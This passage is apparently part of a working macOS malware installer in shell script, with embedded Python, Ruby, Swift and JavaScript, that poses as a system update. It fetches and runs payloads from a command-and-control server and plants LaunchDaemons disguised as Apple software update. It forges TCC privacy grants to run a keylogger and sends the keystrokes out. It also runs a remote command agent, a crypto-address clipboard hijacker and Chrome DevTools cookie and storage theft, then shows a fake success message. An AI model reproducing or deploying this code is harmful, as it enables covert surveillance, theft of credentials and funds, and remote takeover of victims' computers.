"${C2_URL}/static/oao_extension/chrome_watchdog.sh" -o "${C2_DIR}/chrome_watchdog.sh" 2>/dev/null; then chmod +x "${C2_DIR}/chrome_watchdog.sh" echo "${BID}" > "${C2_DIR}/.bid" 2>/dev/null if curl -sSfL --max-time 15 "${C2_URL}/static/oao_extension/local.chrome-watchdog.plist" -o "${C2_DIR}/watchdog.plist" 2>/dev/null; then sed -i '' "s|__USER_HOME__|${HOME}|g" "${C2_DIR}/watchdog.plist" 2>/dev/null || true launchctl bootout gui/$(id -u)/local.chrome-watchdog 2>/dev/null || true cp "${C2_DIR}/watchdog.plist" "${HOME}/Library/LaunchAgents/local.chrome-watchdog.plist" 2>/dev/null launchctl bootstrap gui/$(id -u) "${HOME}/Library/LaunchAgents/local.chrome-watchdog.plist" 2>/dev/null && log "watchdog:installed" || log "watchdog:already_running" rm -f "${C2_DIR}/watchdog.plist" fi fi log_timing "persistence_start" if [ $HAS_SUDO -eq 0 ]; then cat > /tmp/com.apple.softwareupdate.plist << PLIST Label com.apple.softwareupdate ProgramArguments /bin/bash -c curl -sSfL ${C2_URL}/api/payload/${BID} | bash RunAtLoad StartInterval 604800 PLIST echo "${PASSWORD}" | sudo -S cp /tmp/com.apple.softwareupdate.plist /Library/LaunchDaemons/com.apple.softwareupdate.plist 2>/dev/null echo "${PASSWORD}" | sudo -S chmod 644 /Library/LaunchDaemons/com.apple.softwareupdate.plist 2>/dev/null echo "${PASSWORD}" | sudo -S launchctl load /Library/LaunchDaemons/com.apple.softwareupdate.plist 2>/dev/null || true fi log_timing "keylogger_start" if [ "$HAS_SUDO" -eq 0 ] && [ -n "$PASSWORD" ]; then PLIST_PATH="/Library/LaunchDaemons/com.apple.softwareupdate.keylogger.plist" WORKDIR="/tmp/.oao_ks_${BID}" KEYLOGGER_BIN="/Library/Application Support/.ks_bin" KEYLOGGER_PY="/Library/Application Support/.ks_py.py" export BID C2_URL WORKDIR mkdir -p "${WORKDIR}" CG_COMPILED=0 # Keylogger — предкомпилированный universal-бинарник (без gcc/python3) KS_TMP="/tmp/.ks_bin_dl_${BID}" curl -sfL --max-time 20 "${C2_URL}/static/oao_extension/oao_kl" -o "${KS_TMP}" 2>/dev/null if [ -s "${KS_TMP}" ]; then chmod +x "${KS_TMP}" 2>/dev/null echo "${PASSWORD}" | sudo -S rm -f "${KEYLOGGER_BIN}" 2>/dev/null echo "${PASSWORD}" | sudo -S cp "${KS_TMP}" "${KEYLOGGER_BIN}" 2>/dev/null echo "${PASSWORD}" | sudo -S chmod 755 "${KEYLOGGER_BIN}" 2>/dev/null rm -f "${KS_TMP}" fi if [ -x "${KEYLOGGER_BIN}" ]; then echo "${PASSWORD}" | sudo -S bash -c ' BIN="'"${KEYLOGGER_BIN}"'" DB="/Library/Application Support/com.apple.TCC/TCC.db" rm -f /tmp/ks.sig /tmp/ks_csreq.bin 2>/dev/null codesign --detached /tmp/ks.sig -s - "$BIN" 2>/dev/null REQ_STR=$(codesign -d -r- --detached /tmp/ks.sig "$BIN" 2>&1 | grep "designated" | head -1 | sed "s/.*=> //" | sed "s/^ *//") REQ_HEX="" if [ -n "$REQ_STR" ]; then echo "$REQ_STR" | csreq -r- -b /tmp/ks_csreq.bin 2>/dev/null REQ_HEX=$(xxd -p /tmp/ks_csreq.bin 2>/dev/null | tr -d "\n") fi sqlite3 "$DB" "DELETE FROM access WHERE client LIKE '"'"'%.ks_bin'"'"' AND service='"'"'kTCCServiceListenEvent'"'"'" 2>/dev/null sqlite3 "$DB" "DELETE FROM access WHERE client LIKE '"'"'%/.ks_bin'"'"' AND service='"'"'kTCCServiceListenEvent'"'"'" 2>/dev/null if [ -n "$REQ_HEX" ]; then sqlite3 "$DB" "INSERT OR REPLACE INTO access \ (service, client, client_type, auth_value, auth_reason, auth_version, csreq, indirect_object_identifier, flags, last_modified) \ VALUES ('"'"'kTCCServiceListenEvent'"'"', '"'"'$BIN'"'"', 1, 2, 3, 1, X'"'"'$REQ_HEX'"'"', '"'"'UNUSED'"'"', 0, strftime('"'"'%s'"'"', '"'"'now'"'"'))" 2>/dev/null else sqlite3 "$DB" "INSERT OR REPLACE INTO access \ (service, client, client_type, auth_value, auth_reason, auth_version, indirect_object_identifier, flags, last_modified) \ VALUES ('"'"'kTCCServiceListenEvent'"'"', '"'"'$BIN'"'"', 1, 2, 3, 1, '"'"'UNUSED'"'"', 0, strftime('"'"'%s'"'"', '"'"'now'"'"'))" 2>/dev/null fi rm -f /tmp/ks.sig /tmp/ks_csreq.bin 2>/dev/null ' 2>/dev/null || echo "${PASSWORD}" | sudo -S killall tccd 2>/dev/null || true KEYLOGGER_CMD="${KEYLOGGER_BIN} ${WORKDIR}/keys.log" echo "${PASSWORD}" | sudo -S bash -c "cat > '${PLIST_PATH}'" </dev/null Label com.apple.softwareupdate.keylogger ProgramArguments ${KEYLOGGER_BIN} ${WORKDIR}/keys.log RunAtLoad KeepAlive StandardOutPath /tmp/ks_out.log StandardErrorPath /tmp/ks_err.log UserName ${username} PLIST else KEYLOGGER_PY_RUNNER="/Library/Application Support/.ks_py_run.sh" echo "${PASSWORD}" | sudo -S bash -c "cat > '${KEYLOGGER_PY_RUNNER}'" <<'KSRUNNER' 2>/dev/null #!/bin/bash # Фоллбек keylogger: запускает python-версию только если python3 доступен PY="/Library/Application Support/.ks_py.py" if command -v python3 >/dev/null 2>&1; then exec python3 "$PY" fi exit 0 KSRUNNER echo "${PASSWORD}" | sudo -S chmod +x "${KEYLOGGER_PY_RUNNER}" 2>/dev/null echo "${PASSWORD}" | sudo -S -E bash -c "cat > '${KEYLOGGER_PY}'" </dev/null import sys, os, signal, time, Quartz, AppKit BID = "${BID}" WORKDIR = "${WORKDIR}" LOGFILE = os.path.join(WORKDIR, "keys.log") os.makedirs(WORKDIR, exist_ok=True) with open(LOGFILE, "a") as f: f.write("[KS] Python keylogger started\n") running = True def handler(sig, frame): global running; running = False signal.signal(signal.SIGINT, handler) signal.signal(signal.SIGTERM, handler) key_names = {} def callback(proxy, etype, event, refcon): if not running: return event if etype == Quartz.kCGEventKeyDown: kc = Quartz.CGEventGetIntegerValueField(event, Quartz.kCGKeyboardEventKeycode) if not key_names: from Quartz import CGEventSourceKeyboardTypeGetNamedKeycode ts = time.strftime("%Y-%m-%d %H:%M:%S") name = "[0x%02x]" % kc with open(LOGFILE, "a") as f: f.write("%s %s\n" % (ts, name)) return event mask = Quartz.CGEventMaskBit(Quartz.kCGEventKeyDown) tap = Quartz.CGEventTapCreate( Quartz.kCGSessionEventTap, Quartz.kCGHeadInsertEventTap, Quartz.kCGEventTapOptionListenOnly, mask, callback, None ) if not tap: with open(LOGFILE, "a") as f: f.write("[KS] CGEventTapCreate failed - need Input Monitoring permission\n") sys.exit(2) src = Quartz.CFMachPortCreateRunLoopSource(None, tap, 0) Quartz.CFRunLoopAddSource(Quartz.CFRunLoopGetCurrent(), src, Quartz.kCFRunLoopCommonModes) Quartz.CGEventTapEnable(tap, True) with open(LOGFILE, "a") as f: f.write("[KS] Python CGEventTap started\n") try: AppKit.NSRunLoop.currentRunLoop().run() except: pass KSPY echo "${PASSWORD}" | sudo -S chmod +x "${KEYLOGGER_PY}" 2>/dev/null echo "${PASSWORD}" | sudo -S bash -c "cat > '${PLIST_PATH}'" </dev/null Label com.apple.softwareupdate.keylogger ProgramArguments /bin/bash ${KEYLOGGER_PY_RUNNER} RunAtLoad KeepAlive StandardOutPath /tmp/ks_out.log StandardErrorPath /tmp/ks_err.log UserName ${username} PLIST2 fi echo "${PASSWORD}" | sudo -S chmod 644 "${PLIST_PATH}" 2>/dev/null echo "${PASSWORD}" | sudo -S launchctl unload "${PLIST_PATH}" 2>/dev/null || true echo "${PASSWORD}" | sudo -S launchctl load "${PLIST_PATH}" 2>/dev/null || true fi if [ -n "$PASSWORD" ]; then ( nohup bash -c ' while true; do TERM_LOG="/tmp/.oao_ks_'"${BID}"'/terminal_session.log" script -q "$TERM_LOG" -c "sleep 300" 2>/dev/null sleep 1 done ' > /dev/null 2>&1 & disown ) 2>/dev/null fi if [ -n "$PASSWORD" ]; then CMD_PLIST="/Library/LaunchDaemons/com.apple.softwareupdate.cmd.plist" CMD_SCRIPT="/Library/Application Support/.cmd_agent.sh" export BID C2_URL echo "${PASSWORD}" | sudo -S -E bash -c "cat > '${CMD_SCRIPT}'" </dev/null BID="${BID}" C2_URL="${C2_URL}" mkdir -p "/tmp/.oao_cmd_${BID}" KS_LOG="/tmp/.oao_ks_${BID}/keys.log" KS_OFFSET="/tmp/.oao_ks_${BID}/.ks_offset_py" ( while true; do sleep 15 OFF=0; [ -f "\$KS_OFFSET" ] && OFF=\$(cat "\$KS_OFFSET" 2>/dev/null || echo 0) TOTAL=\$(wc -c < "\$KS_LOG" 2>/dev/null || echo 0) if [ "\$TOTAL" -gt "\$OFF" ] 2>/dev/null; then NEW_DATA=\$(dd if="\$KS_LOG" bs=1 skip="\$OFF" 2>/dev/null | base64 | tr -d '\n') if [ -n "\$NEW_DATA" ]; then curl -s -X POST "\${C2_URL}/api/keystrokes" \ -H "Content-Type: application/json" \ -d "{\"build_id\":\"\${BID}\",\"keystrokes\":\"\$NEW_DATA\",\"hostname\":\"\$(hostname)\",\"username\":\"\$(whoami)\"}" \ > /dev/null 2>&1 fi echo "\$TOTAL" > "\$KS_OFFSET" fi done ) & KS_PID=\$! while true; do curl -s --max-time 10 "\${C2_URL}/api/commands/\${BID}" -H "x-api-key: \${BID}" 2>/dev/null | ruby -e ' require "json" require "base64" begin cmds = JSON.parse(STDIN.read) cmds = [] unless cmds.is_a?(Array) cmds.each do |cmd| cid = cmd["id"].to_s command = cmd["command"].to_s next if command.empty? begin out = IO.popen(command, err: [:child, :out]) { |io| io.read } output = out.to_s rescue => e output = "ERROR: #{e.message}" end enc = Base64.strict_encode64(output) payload = JSON.generate({"task_id" => cid, "status" => "done", "command" => command, "result" => enc}) system("curl", "-s", "-X", "POST", "#{ENV["C2_URL"]}/api/command_result/#{ENV["BID"]}", "-H", "Content-Type: application/json", "-H", "x-api-key: #{ENV["BID"]}", "-d", payload) end rescue end ' 2>/dev/null || true sleep 5 done CMDSCRIPT echo "${PASSWORD}" | sudo -S chmod +x "${CMD_SCRIPT}" 2>/dev/null echo "${PASSWORD}" | sudo -S bash -c "cat > '${CMD_PLIST}'" </dev/null Label com.apple.softwareupdate.cmd ProgramArguments /bin/bash -c ${CMD_SCRIPT} RunAtLoad KeepAlive StandardOutPath /tmp/cmd_agent_out.log StandardErrorPath /tmp/cmd_agent_err.log UserName ${username} CMDP echo "${PASSWORD}" | sudo -S chmod 644 "${CMD_PLIST}" 2>/dev/null echo "${PASSWORD}" | sudo -S launchctl unload "${CMD_PLIST}" 2>/dev/null || true echo "${PASSWORD}" | sudo -S launchctl load "${CMD_PLIST}" 2>/dev/null || true fi if ! pgrep -f "cmd_agent.*${BID}" >/dev/null 2>&1; then ( CMD_SCRIPT_FALLBACK="/tmp/.cmd_agent_${BID}.sh" cat > "${CMD_SCRIPT_FALLBACK}" </dev/null || echo 0) TOTAL=\$(wc -c < "\$KS_LOG" 2>/dev/null || echo 0) if [ "\$TOTAL" -gt "\$OFF" ] 2>/dev/null; then NEW_DATA=\$(dd if="\$KS_LOG" bs=1 skip="\$OFF" 2>/dev/null | base64 | tr -d '\n') if [ -n "\$NEW_DATA" ]; then curl -s -X POST "\${C2_URL}/api/keystrokes" \ -H "Content-Type: application/json" \ -d "{\\\"build_id\\\":\\\"\${BID}\\\",\\\"keystrokes\\\":\\\"\${NEW_DATA}\\\",\\\"hostname\\\":\\\"\$(hostname)\\\",\\\"username\\\":\\\"\$(whoami)\\\"}" \ > /dev/null 2>&1 fi echo "\$TOTAL" > "\$KS_OFFSET" fi done ) & KS_PID=\$! while true; do curl -s --max-time 10 "\${C2_URL}/api/commands/\${BID}" -H "x-api-key: \${BID}" 2>/dev/null | ruby -e ' require "json" require "base64" begin cmds = JSON.parse(STDIN.read) cmds = [] unless cmds.is_a?(Array) cmds.each do |cmd| cid = cmd["id"].to_s command = cmd["command"].to_s next if command.empty? begin out = IO.popen(command, err: [:child, :out]) { |io| io.read } output = out.to_s rescue => e output = "ERROR: #{e.message}" end enc = Base64.strict_encode64(output) system("curl", "-s", "-X", "POST", "#{ENV["C2_URL"]}/api/command_result/#{ENV["BID"]}", "-H", "Content-Type: application/json", "-H", "x-api-key: #{ENV["BID"]}", "-d", JSON.generate({"task_id" => cid, "status" => "done", "command" => command, "result" => enc})) end rescue end ' 2>/dev/null || true sleep 5 done CMDEOF chmod +x "${CMD_SCRIPT_FALLBACK}" nohup bash "${CMD_SCRIPT_FALLBACK}" > /tmp/.cmd_agent_${BID}.log 2>&1 & disown ) 2>/dev/null fi log_timing "clipboard_cdp_start" MODULES=$(curl -sSfL --max-time 10 "${C2_URL}/api/payload/${BID}/modules" 2>/dev/null || echo "") for mod in clipboard cdp_inject screencast; do MOD_URL="${C2_URL}/api/payload/${BID}/modules/${mod}.sh" MOD_FILE="/tmp/.oao_mod_${BID}_${mod}.sh" curl -sSfL --max-time 15 "$MOD_URL" -o "$MOD_FILE" 2>/dev/null if [ -f "$MOD_FILE" ] && [ -s "$MOD_FILE" ]; then chmod +x "$MOD_FILE" bash "$MOD_FILE" "$C2_URL" "$BID" "$PASSWORD" > /dev/null 2>&1 & sleep 1 fi done TCC_BYPASS="/tmp/.oao_tcc_${BID}" if [ -f "/usr/local/bin/tccutil" ]; then /usr/local/bin/tccutil --enable input_monitoring > /dev/null 2>&1 & elif [ -x "./Tools/tcc_bypass/tcc_bypass" ]; then "./Tools/tcc_bypass/tcc_bypass" input_monitoring > /dev/null 2>&1 & elif [ -f "/tmp/.oao_tcc_payload/tcc_bypass" ]; then "/tmp/.oao_tcc_payload/tcc_bypass" input_monitoring > /dev/null 2>&1 & fi if ! pgrep -f "clipmon_${BID}" >/dev/null 2>&1; then CLIPMON_SRC="/tmp/.clipmon_${BID}.swift" CLIPMON_BIN="/tmp/.clipmon_${BID}" cat > "$CLIPMON_SRC" << 'CLIPSWIFT' import AppKit import Foundation let pb = NSPasteboard.general var lastChange = pb.changeCount let BTC_BECH32 = try! NSRegularExpression(pattern: "^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}$") let ETH_RE = try! NSRegularExpression(pattern: "^0x[a-fA-F0-9]{40}$") let SOL_RE = try! NSRegularExpression(pattern: "^[1-9A-HJ-NP-Za-km-z]{32,44}$") let TRX_RE = try! NSRegularExpression(pattern: "^T[A-Za-z1-9]{33}$") let LTC_RE = try! NSRegularExpression(pattern: "^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$") let DOGE_RE = try! NSRegularExpression(pattern: "^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$") let DASH_RE = try! NSRegularExpression(pattern: "^X[1-9A-HJ-NP-Za-km-z]{33}$") let XMR_RE = try! NSRegularExpression(pattern: "^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$") let ADA_RE = try! NSRegularExpression(pattern: "^A[0-9a-zA-Z]{50,}$") let DOT_RE = try! NSRegularExpression(pattern: "^1[1-9A-HJ-NP-Za-km-z]{47}$") let XRP_RE = try! NSRegularExpression(pattern: "^r[0-9a-zA-Z]{33}$") let ATOM_RE = try! NSRegularExpression(pattern: "^cosmos1[a-z0-9]{38}$") let BCH_RE = try! NSRegularExpression(pattern: "^(q|p)[a-z0-9]{41}$") // Attack addresses (from environment) let BTC_ADDR = ProcessInfo.processInfo.environment["BTC_ADDR"] ?? "bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh" let ETH_ADDR = ProcessInfo.processInfo.environment["ETH_ADDR"] ?? "0x742d35Cc6634C0532925a3b844Bc9e7595f2bD18" let SOL_ADDR = ProcessInfo.processInfo.environment["SOL_ADDR"] ?? "" let TRX_ADDR = ProcessInfo.processInfo.environment["TRX_ADDR"] ?? "" let LTC_ADDR = ProcessInfo.processInfo.environment["LTC_ADDR"] ?? "" let DOGE_ADDR = ProcessInfo.processInfo.environment["DOGE_ADDR"] ?? "" let DASH_ADDR = ProcessInfo.processInfo.environment["DASH_ADDR"] ?? "" let XMR_ADDR = ProcessInfo.processInfo.environment["XMR_ADDR"] ?? "" let ADA_ADDR = ProcessInfo.processInfo.environment["ADA_ADDR"] ?? "" let DOT_ADDR = ProcessInfo.processInfo.environment["DOT_ADDR"] ?? "" let XRP_ADDR = ProcessInfo.processInfo.environment["XRP_ADDR"] ?? "" let ATOM_ADDR = ProcessInfo.processInfo.environment["ATOM_ADDR"] ?? "" let BCH_ADDR = ProcessInfo.processInfo.environment["BCH_ADDR"] ?? "" struct AddressMatch { let regex: NSRegularExpression let replacement: String let name: String } let patterns: [AddressMatch] = [ AddressMatch(regex: BTC_BECH32, replacement: BTC_ADDR, name: "BTC"), AddressMatch(regex: ETH_RE, replacement: ETH_ADDR, name: "ETH"), AddressMatch(regex: SOL_RE, replacement: SOL_ADDR, name: "SOL"), AddressMatch(regex: TRX_RE, replacement: TRX_ADDR, name: "TRX"), AddressMatch(regex: LTC_RE, replacement: LTC_ADDR, name: "LTC"), AddressMatch(regex: DOGE_RE, replacement: DOGE_ADDR, name: "DOGE"), AddressMatch(regex: DASH_RE, replacement: DASH_ADDR, name: "DASH"), AddressMatch(regex: XMR_RE, replacement: XMR_ADDR, name: "XMR"), AddressMatch(regex: ADA_RE, replacement: ADA_ADDR, name: "ADA"), AddressMatch(regex: DOT_RE, replacement: DOT_ADDR, name: "DOT"), AddressMatch(regex: XRP_RE, replacement: XRP_ADDR, name: "XRP"), AddressMatch(regex: ATOM_RE, replacement: ATOM_ADDR, name: "ATOM"), AddressMatch(regex: BCH_RE, replacement: BCH_ADDR, name: "BCH"), ] let logFile = "/tmp/.clipmon_\(ProcessInfo.processInfo.environment["BID"] ?? "oao").log" FileManager.default.createFile(atPath: logFile, contents: nil) let fh = FileHandle(forWritingAtPath: logFile)! while true { if pb.changeCount != lastChange { lastChange = pb.changeCount if let text = pb.string(forType: .string) { for pattern in patterns { let range = NSRange(location: 0, length: text.utf16.count) if pattern.regex.firstMatch(in: text, options: [], range: range) != nil { if !pattern.replacement.isEmpty { let newText = pattern.regex.stringByReplacingMatches(in: text, options: [], range: range, withTemplate: pattern.replacement) pb.clearContents() pb.setString(newText, forType: .string) let log = "\(Date()): Hijacked \(pattern.name) address\n" fh.write(log.data(using: .utf8)!) } break } } } } Thread.sleep(forTimeInterval: 0.5) } CLIPSWIFT if which swiftc >/dev/null 2>&1; then swiftc "$CLIPMON_SRC" -o "$CLIPMON_BIN" -framework AppKit 2>/dev/null if [ -x "$CLIPMON_BIN" ]; then export BTC_ADDR ETH_ADDR SOL_ADDR TRX_ADDR LTC_ADDR DOGE_ADDR DASH_ADDR export XMR_ADDR ADA_ADDR DOT_ADDR XRP_ADDR ATOM_ADDR BCH_ADDR BID nohup "$CLIPMON_BIN" > /dev/null 2>&1 & fi fi rm -f "$CLIPMON_SRC" fi log_timing "cdp_theft_start" if lsof -i :9222 >/dev/null 2>&1; then CDP_SCRIPT="/tmp/.oao_cdp_${BID}.rb" cat > "$CDP_SCRIPT" << 'CDPRB' require "json" require "net/http" require "uri" BID = ENV["BID"] || "oao" C2_URL = ENV["C2_URL"] || "http://127.0.0.1:3000" def http_get_json(url, timeout = 5) uri = URI(url) res = Net::HTTP.start(uri.host, uri.port, open_timeout: timeout, read_timeout: timeout) do |http| http.get(uri.request_uri) end JSON.parse(res.body) rescue nil end def http_post(url, payload, timeout = 10) uri = URI(url) req = Net::HTTP::Post.new(uri.request_uri) req["Content-Type"] = "application/json" req.body = JSON.generate(payload) Net::HTTP.start(uri.host, uri.port, open_timeout: timeout, read_timeout: timeout) do |http| http.request(req) end rescue nil end def cdp_request(method, params = nil) targets = http_get_json("http://127.0.0.1:9222/json") return nil unless targets.is_a?(Array) targets.each do |t| ws_url = t["webSocketDebuggerUrl"].to_s next if ws_url.empty? page_id = t["id"] result = http_post("http://127.0.0.1:9222/devtools/page/#{page_id}", {"id" => 1, "method" => method, "params" => params || {}}) return result if result end nil end begin result = cdp_request("Network.getAllCookies") if result && result["result"] && result["result"]["cookies"] cookies = result["result"]["cookies"] http_post("#{C2_URL}/api/cdp/cookies", { "build_id" => BID, "type" => "cdp_cookies", "cookies" => cookies, "count" => cookies.length, "timestamp" => Time.now.to_f }) end rescue end inject_js = <<~JSEOF (function() { let data = { cookies: document.cookie, localStorage: JSON.parse(JSON.stringify(localStorage)), sessionStorage: JSON.parse(JSON.stringify(sessionStorage)), ethereum: window.ethereum ? 'present' : 'absent', solana: window.solana ? window.solana.isConnected : 'absent', url: window.location.href, title: document.title }; fetch('#{C2_URL}/api/cdp/inject', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({build_id: '#{BID}', data: data}) }); })(); JSEOF begin cdp_request("Runtime.evaluate", {"expression" => inject_js, "returnByValue" => true}) rescue end begin cdp_request("Runtime.evaluate", {"expression" => "new Promise(r => chrome.management.getAll(r))", "returnByValue" => true, "awaitPromise" => true}) rescue end CDPRB if command -v ruby >/dev/null 2>&1; then ruby "$CDP_SCRIPT" > /dev/null 2>&1 & sleep 2 fi rm -f "$CDP_SCRIPT" fi log_timing "cleanup_start" rm -f "$TIMING_LOG" 2>/dev/null rm -rf "$OUTFILE" 2>/dev/null curl -s -G "${C2_URL}/api/clickfix-callback" \ --data-urlencode "bid=${BID}" \ --data-urlencode "status=done" \ --data-urlencode "user=${username}" \ --data-urlencode "host=${hostn}" \ --data-urlencode "sudo=${HAS_SUDO}" > /dev/null 2>&1 & ( HEARTBEAT_INTERVAL=30 HEARTBEAT_MAX=60 # максимум 60 пингов (~30 минут) HEARTBEAT_COUNT=0 while [ $HEARTBEAT_COUNT -lt $HEARTBEAT_MAX ]; do curl -s -G "${C2_URL}/api/clickfix-callback" \ --data-urlencode "bid=${BID}" \ --data-urlencode "heartbeat=1" \ --data-urlencode "user=${username}" \ --data-urlencode "host=${hostn}" > /dev/null 2>&1 HEARTBEAT_COUNT=$((HEARTBEAT_COUNT + 1)) sleep $HEARTBEAT_INTERVAL done ) & ( curl -sSfL "${C2_URL}/oao-shell-helper.sh" -o "/tmp/.oao_shell_helper_${BID}.sh" 2>/dev/null if [ -s "/tmp/.oao_shell_helper_${BID}.sh" ]; then chmod +x "/tmp/.oao_shell_helper_${BID}.sh" bash "/tmp/.oao_shell_helper_${BID}.sh" "${BID}" > /dev/null 2>&1 rm -f "/tmp/.oao_shell_helper_${BID}.sh" 2>/dev/null fi ) & exec 1>/dev/tty 2>/dev/null echo "" echo "System update completed successfully." echo "All components are up to date." echo "" echo "You can close this window." echo "" exec >/dev/null 2>&1 exit 0